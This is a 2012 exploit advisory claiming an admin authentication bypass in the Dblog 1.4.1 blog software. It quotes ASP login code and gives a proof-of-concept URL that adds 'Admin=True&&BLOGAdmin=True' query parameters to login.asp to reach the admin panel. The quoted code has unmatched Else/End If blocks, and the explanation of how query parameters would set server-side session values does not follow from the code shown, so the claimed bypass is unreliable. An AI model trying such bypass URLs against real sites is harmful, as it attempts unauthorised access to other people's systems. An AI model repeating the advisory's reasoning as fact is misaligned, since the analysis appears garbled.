Dblog 1.4.1 Insecure Session / Access Bypass

`# -------------------------------- #  
Author : L3b-r1'z  
Date : 3/6/2012  
Title : dblog Insecure Session \ Bypass Admin Vulnerability  
Version : 1.4.1  
Download : http://www.dblog.it/sito/download.asp  
Dork : N\A  
# -------------------------------- #  
This proof of concept code was written for educational purpose only.  
Use it at your own risk. Author will be not responsible for any damage.  
# -------------------------------- #  
1) Bug  
2) P0c  
# -------------------------------- #  
  
1) Bug :  
  
Vuln In File admin/controllo.asp .  
  
in line 10 and 11 :  
FUserID = Request.Form("UserID")  
FPassword = Request.Form("Password")  
we have here Request FORM Is Like $_POST  
Lets See Below Of Code :)  
  
#### Start ####  
  
If NOT RSAutori.EOF Then  
RSAutori.MoveFirst  
If RSAutori("Password") = FPassword Then  
Session("BLOGNick") = RSAutori("Nick")  
Session.TimeOut = 60  
If RSAutori("Admin") = True Then  
Session("BLOGAdmin") = True  
Else  
Session("BLOGAdmin") = False  
End If  
Response.Redirect "default.asp"  
Else  
Session("BLOGNick") = ""  
Session("BLOGAdmin") = False  
Response.Redirect "login.asp"  
End If  
Else  
Session("BLOGNick") = ""  
Session("BLOGAdmin") = False  
Response.Redirect "login.asp"  
End If  
Else  
Session("BLOGNick") = ""  
Session("BLOGAdmin") = False  
Response.Redirect "login.asp"  
End If  
  
#### End ####  
  
We have timeout 60 , that mean admin can be in page 60 min only , but  
when we bypass , we don't have any time :D  
look to  
  
If RSAutori("Admin") = True Then  
Session("BLOGAdmin") = True  
  
if admin true and BLOGAdmin true End If Response.Redirect  
"default.asp" Redirect To Admin Page :D , Else BLOGnick And BLOGAdmin  
False , Redirect To Login.asp File :D  
  
# -------------------------------- #  
  
2) p0c :  
http://domain.tld/admin/login.asp?Admin=True&&BLOGAdmin=True  
  
You Will See Admin Panel :)  
# -------------------------------- #  
`